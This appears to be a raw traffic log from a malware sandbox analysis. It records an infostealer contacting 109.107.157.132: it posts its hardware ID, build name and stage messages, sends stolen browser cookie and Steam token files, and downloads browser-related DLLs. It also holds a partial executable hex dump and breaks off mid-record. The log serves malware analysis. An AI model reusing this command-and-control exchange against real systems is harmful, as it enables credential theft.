Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:33:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 109.107.157.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHCHost: 109.107.157.132Content-Length: 218Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 41 32 44 31 37 38 46 32 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="hwid"3BA2D178F2D72284582127------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="build"LogsDiller1------GDGHIDBKJEGIECBGIEHC--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 109.107.157.132Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"browsers------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCBHost: 109.107.157.132Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="message"plugins------BGIJEGCGDGHDHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: 109.107.157.132Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 2d 2d 0d 0a Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="message"fplugins------BKECBAKFBGDGCBGDBAEC--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 109.107.157.132Content-Length: 7035Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/sqlite3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 109.107.157.132Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJJKECFCFBGDHIECAAF--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 109.107.157.132Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBAHost: 109.107.157.132Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="file"------AAEBAKKJKKEBKFIDBFBA--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBAHost: 109.107.157.132Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file"------HDBKJEGIEBFHCAAKKEBA--
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/freebl3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/mozglue.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/msvcp140.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/nss3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/softokn3.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /955ccceeebf8214b/vcruntime140.dll HTTP/1.1Host: 109.107.157.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCAHost: 109.107.157.132Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBAHost: 109.107.157.132Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="message"wallets------AAEBAKKJKKEBKFIDBFBA--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 109.107.157.132Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"files------BKFBAECBAEGDGDHIEHIJ--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGDHost: 109.107.157.132Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="file"------CAKKJKKECFIDGDHIJEGD--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 109.107.157.132Content-Length: 98523Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHDHost: 109.107.157.132Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="message"ybncbhylepme------IDBFHCGCGDAAKFIECFHD--
Source: global traffic	HTTP traffic detected: POST /7a5d4e643b804e99.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJEHost: 109.107.157.132Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 